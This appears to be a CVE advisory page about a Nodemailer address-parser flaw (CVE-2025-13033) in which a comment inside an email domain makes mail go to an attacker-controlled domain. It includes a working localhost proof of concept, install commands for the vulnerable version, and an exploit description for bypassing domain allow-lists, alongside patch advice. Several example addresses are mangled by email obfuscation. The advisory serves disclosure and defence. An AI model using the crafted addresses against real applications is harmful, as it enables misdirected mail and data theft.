Nodemailer, Address Parser Interpretation Conflict, CVE-2025-13033 (Moderate) -DC-Sep2026-2276

Listen to this Post

The Nodemailer email-address parser mishandles RFC 5322 comments within the domain portion of an email address, treating them as a point to concatenate surrounding text rather than as folding whitespace (CFWS) that terminates the domain. Specifically, when a comment in the format `( … )` appears inside the domain (e.g., [email protected](x)evil.com), the parser drops the comment and concatenates the preceding and following text, resulting in the domain good-corp.comevil.com. A compliant RFC 5322 parser, by contrast, would terminate the domain at the start of the comment, reading only good-corp.com. This discrepancy creates an Interpretation Conflict (CWE-436), where an application that validates recipient domains using a strict RFC 5322 parser or a naive allow-list (e.g., startsWith('@good-corp.com')) may approve the address, while Nodemailer subsequently delivers the email to a different, attacker-controlled domain. The vulnerability is rooted in lib/addressparser/index.js, where the tokenizer flags the closing parenthesis as `noBreak` if followed by a non-break character, and `_handleAddress` then concatenates the adjacent tokens. This affects both the SMTP envelope (RCPT TO) and headers (To:), ensuring the entire message is routed to the concatenated domain. Exploitation requires the application’s domain check to diverge from Nodemailer’s parsing, making it moderate in severity. The issue is patched in version 9.1.0 with a fix that restricts `noBreak` propagation across comment closures, ensuring addresses like `[email protected](x)evil.com` now correctly terminate at good-corp.com.

DailyCVE Form:

Platform: Node.js
Version: nodemailer 9.0.6
Vulnerability: Address parser
Severity: Moderate
date: 2026-09-09

Prediction: Already patched (9.1.0)

What Undercode Say:

Analytics:

  • Confirmed vulnerable versions: [email protected] and prior.
  • Patched version: [email protected].
  • Attack vector: Remote, requires application-specific domain validation.
  • Exploitation prerequisites: Application must use a strict RFC 5322 parser (without checking defects) or naive allow-list, then forward raw address to Nodemailer.

Bash Commands:

Install vulnerable version
npm init -y && npm install [email protected]
Run PoC
node poc-comment.js

PoC Code (poc-comment.js):

'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6
const TRUSTED = 'good-corp.com';
const RECIPIENT = '[email protected](x)evil.com';
const server = net.createServer(sock => {
let buf = ''; sock.write('220 sink\r\n');
sock.on('data', d => { buf += d; let i;
while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
const u = line.toUpperCase();
if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
else if (u.startsWith('DATA')) sock.write('354 go\r\n');
else if (line === '.') sock.write('250 ok\r\n');
else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'hi', text: 'x' });
t.close(); server.close();
});

Actual Output:

nodemailer transmits : RCPT TO:<a href="mailto:user@good-corp.comevil.com">user@good-corp.comevil.com</a>

Exploit: (Educational Purposes!)

To exploit, an attacker crafts an email address with a comment in the domain (e.g., [email protected](x)attacker.com). The application validates the address using a parser that sees `trusted.com` (e.g., Python’s `email.policy.default` or a naive `startsWith` check) and approves it. The raw address is then passed to Nodemailer, which parses it as `trusted.comattacker.com` and delivers the email to the attacker-controlled domain. This allows bypassing domain-based access controls, such as employee-only or same-tenant email flows.

Protection:

  • Upgrade Nodemailer to version 9.1.0 or later.
  • If upgrading is not immediately possible, avoid passing raw addresses validated by other parsers to Nodemailer; instead, use Nodemailer’s own `addressparser` for validation before domain checks.
  • Inspect parse defects when using strict RFC 5322 parsers and reject addresses with defects (e.g., `InvalidHeaderDefect` in Python).
  • Avoid using naive allow-lists like `startsWith` or `includes` for domain validation; use full parser compliance.

Impact:

  • Applications that perform security or routing decisions based on the recipient domain using a parser that terminates at the comment (e.g., strict RFC 5322 without defect checks, naive prefix/substring allow-lists) are vulnerable.
  • Attackers can cause emails to be delivered to a domain they control, potentially leading to data exfiltration, phishing, or business email compromise.
  • Applications that validate with Nodemailer’s own parser, email.utils.getaddresses, or `url.domainToASCII` are not affected.
  • The issue is fixed in Nodemailer 9.1.0, with a safe patch that does not break valid addresses involving CFWS around the `@` symbol.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top